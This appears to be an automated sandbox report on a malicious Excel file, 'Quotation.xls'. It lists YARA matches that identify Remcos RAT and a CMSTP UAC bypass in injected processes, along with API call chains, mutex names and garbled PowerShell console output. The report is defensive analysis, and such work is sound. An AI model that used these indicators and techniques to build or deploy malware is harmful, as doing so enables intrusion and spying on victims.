              Source: 14.2.csc.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 14.2.csc.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 14.2.csc.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 13.2.ngen.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 13.2.ngen.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 13.2.ngen.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 27.2.iexplore.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 27.2.iexplore.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 27.2.iexplore.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 15.2.wab.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 15.2.wab.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 15.2.wab.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 14.2.csc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 14.2.csc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 14.2.csc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 10.2.igccu.exe.128651a8.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 10.2.igccu.exe.128651a8.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 10.2.igccu.exe.128651a8.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 13.2.ngen.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 13.2.ngen.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 13.2.ngen.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 10.2.igccu.exe.128dddf0.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 10.2.igccu.exe.128dddf0.2.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 10.2.igccu.exe.128dddf0.2.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 27.2.iexplore.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 27.2.iexplore.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 27.2.iexplore.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 10.2.igccu.exe.128dddf0.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 10.2.igccu.exe.128dddf0.2.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 10.2.igccu.exe.128dddf0.2.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 15.2.wab.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 15.2.wab.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 15.2.wab.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 10.2.igccu.exe.128651a8.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 10.2.igccu.exe.128651a8.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 10.2.igccu.exe.12798770.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 10.2.igccu.exe.12798770.3.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 0000000D.00000002.819744997.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 0000000D.00000002.819744997.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 0000000D.00000002.819744997.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 0000000E.00000002.819788954.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 0000000E.00000002.819788954.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 0000000E.00000002.819788954.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 0000000A.00000002.455992808.00000000125FF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: Process Memory Space: igccu.exe PID: 3244, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: Process Memory Space: ngen.exe PID: 3340, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: Process Memory Space: csc.exe PID: 3352, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: Process Memory Space: wab.exe PID: 3360, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: Process Memory Space: iexplore.exe PID: 3884, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: csrss[1].exe.6.dr, ----------.csCryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
              Source: igccu.exe.6.dr, ----------.csCryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
              Source: igccu.exe, 00000019.00000002.491778313.00000000003E9000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: v[m\ries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdb
              Source: igccu.exe, 00000019.00000002.491778313.000000000038B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: :\binaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdb
              Source: classification engineClassification label: mal100.phis.troj.spyw.expl.evad.winXLS@33/38@6/5
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_00417952 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,15_2_00417952
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_00417952 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,27_2_00417952
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_0040F474 GetModuleFileNameW,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,CloseHandle,15_2_0040F474
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_0041B4A8 FindResourceA,LoadResource,LockResource,SizeofResource,15_2_0041B4A8
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_0041AA4A OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,15_2_0041AA4A
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\Desktop\8C130000Jump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeMutant created: NULL
              Source: C:\Program Files (x86)\Windows Mail\wab.exeMutant created: \Sessions\1\BaseNamedObjects\chrome-6W1HCC
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Temp\CVR7944.tmpJump to behavior
              Source: Quotation.xlsOLE indicator, Workbook stream: true
              Source: 8C130000.0.drOLE indicator, Workbook stream: true
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ..+..............P................y.......y.....}..w.............................1......(.P..............3........+.............P...............Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................Cm................$.....@5{k....}..w....P.......\.......................(.P.......................$.............................Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ..+.....................................P.......}..w.............+b......6{k......a.....(.P.......................+.............................Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................Cm................$.....@5{k....}..w....P.......\.......................(.P.......................$.............................Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ..+.....................................P.......}..w.............+b......6{k......a.....(.P.......................+.............................Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................................t.h.a.t. .t.h.e. .p.a.t.h. .i.s. .c.o.r.r.e.c.t. .a.n.d. .t.r.y. .a.g.a.i.n.....x.$.....N.......................Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1..+b......6{k......a.....(.P.....................x.$..... .......................Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ..+.....................................P.......}..w.............+b......6{k......a.....(.P.......................+.............................Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.(.P.....................x.$.....8.......................Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ..+.....................................P.......}..w.............+b......6{k......a.....(.P.......................+.............................Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................................ . . .n.g.). .[.].,. .C.o.m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...........x.$.....F.......................Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ..+.....................................P.......}..w.............+b......6{k......a.....(.P.......................+.....l.......................Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................................ .......P.......}..w.............+b......6{k......a.....(.P.....................x.$.............................Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................P...............0........Wx.....}..w......$.....@E......^...............(.P.......................$.............................Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................P........................Wx.....}..w......$.....@E......^...............(.P.......................$.............................Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: .................P................y.......y.....}..w..............'.......'......1'.....(.P.......'......3'.....................p...............
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................Cm.......................^.l....}..w....p.......\.).......'.............(.P.....\.......d.......................................
